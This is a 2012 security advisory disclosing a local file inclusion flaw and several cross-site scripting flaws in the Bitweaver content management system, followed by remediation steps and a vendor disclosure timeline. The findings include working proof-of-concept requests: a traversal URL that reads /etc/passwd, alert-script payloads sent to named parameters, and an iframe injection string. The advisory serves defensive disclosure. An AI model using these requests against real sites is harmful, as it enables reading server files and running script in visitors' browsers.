Trustwave SpiderLabs Security Advisory TWSL2012-016:
Multiple Vulnerabilities in Bitweaver
 
Published: 10/23/2012
Version: 1.0
 
Vendor: Bitweaver (http://www.bitweaver.org/)
Product: Bitweaver
Version affected: 2.8.1 and earlier versions
 
Product description:
Bitweaver is a free and open source web application framework and content
management system. Bitweaver is written in PHP and uses Firebird as a
database backend.
 
Credit: David Aaron and Jonathan Claudius of Trustwave SpiderLabs
 
Finding 1: Local File Inclusion Vulnerability
CVE: CVE-2012-5192
 
The 'overlay_type' parameter in the 'gmap/view_overlay.php' page in
Bitweaver is vulnerable to a local file inclusion vulnerability.
 
This vulnerability can be demonstrated by traversing to a known readable
path on the web server file system.
 
Example:
 
Performing LFI on 'overlay_type' parameter
 
#Request
 
http://A.B.C.D/bitweaver/gmap/view_overlay.php?overlay_type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F/etc/passwd%00
 
#Response
 
root:x:0:0:root:/root:/bin/bash
<snip>
 
Finding 2: Multiple XSS Vulnerabilities in Bitweaver
CVE: CVE-2012-5193
 
Multiple cross-site scripting (XSS) vulnerabilities have been discovered
that allow remote unauthenticated users to run arbitrary scripts on the
system.
 
Example:
 
The following Proof of Concepts illustrate that Bitweaver 2.8.1 is
vulnerable to XSS.
 
Example(s):
 
1. Performing XSS on stats/index.php
 
#Request
 
GET /bitweaver/stats/index.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0
 
#Response
 
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:42:34 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=4gmfnd86ahtvn34v5oejgivvh3; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]
 
2. Performing XSS on /newsletters/edition.php
 
#Request
 
GET /bitweaver/newsletters/edition.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0
 
#Response
 
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:42:02 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=ajdjp797r7atral75rmlhcgs63; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]
 
3. Performing XSS on the 'username' parameter available on /users/
 
#Request
 
POST /bitweaver/users/remind_password.php HTTP/1.1
Host: A.B.C.D
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
 
username=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&remind=Reset+%28password%29
 
#Response
 
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:53:11 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=i0ktqmt3497thag552t9ds78v4; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 15974
[truncated due to length]
 
<snip>
Invalid or unknown username: ">alert('XSS');</p></div>Please follow the instructions in the email.
<snip>
 
4. Performing XSS on the 'days' parameter on /stats/index.php
 
#Request
 
POST /bitweaver/stats/index.php HTTP/1.1
Host: A.B.C.D
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
 
days=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&pv_chart=Display
 
#Response
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:55:53 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=dqdvcnmql8jhngp0tphseh1qh4; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 24778
[truncated due to length]
 
<snip>
<img src="/stats/pv_chart.php?days="><script>alert('XSS');</script>" alt="Site Usage Statistics" />
<snip>
 
5. Performing XSS on the 'login' parameter on /users/register.php. (try
entering "><IFRAME src="https://www.trustwave.com" height="1000px"
width="1000px"> into the "Username field"):
 
http://A.B.C.D/bitweaver/users/register.php
 
 
6. Performing XSS on the 'highlight' parameter:
 
#Request
 
GET /bitweaver/?highlight=%2522%253E%253Cscript%253Ealert('XSS')%253B%253C%252Fscript%253E HTTP/1.0
 
#Response
 
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:59:09 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=ama93jqlojmi385plkft5opl64; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]
 
Remediation Steps:
The vendor has released a fix to address the Local File Inclusion
vulnerability (finding 1) and several of the Cross-Site Scripting
vulnerabilities (finding 2) in Bitweaver 3.1. However, additional fixes for
the Cross-site Scripting vulnerabilities were made on commit c3bef6f in the
development branch.  Users are recommended to download the latest release
of Bitweaver on http://github.com/bitweaver to address the above issues.
 
These issue can also be mitigated with the use of technologies, such as Web
Application Firewalls (WAF) or Intrusion Prevention Systems (IPS). Often,
Vulnerability Scanners and Intrusion Detection Systems (IDS) can detect the
presence of Local File Inclusion vulnerabilities and XSS. Trustwave
technologies that address this issue include the following.
 
ModSecurity (http://www.modsecurity.org/) has added rules to the commercial
rules feed for these issues, available as part of the SpiderLabs
ModSecurity rules feed.
 
Trustwave's vulnerability scanning solution, TrustKeeper
(https://www.trustwave.com/trustKeeper.php), has been updated to detect
affected versions.
 
References
http://www.bitweaver.org/
http://blog.spiderlabs.com/
 
Vendor Communication Timeline:
04/26/12 - Initial communications with vendor
05/14/12 - Vulnerability disclosed to vendor
05/30/12 - Vendor acknowledges version 3.0 fixes issues
06/07/12 - Contact vendor regarding incomplete fixes in 3.0
09/07/12 - Vendor publishes version 3.1
10/10/12 - Contact vendor regarding incomplete fixes in 3.1
10/23/12 - Advisory published
 
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application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
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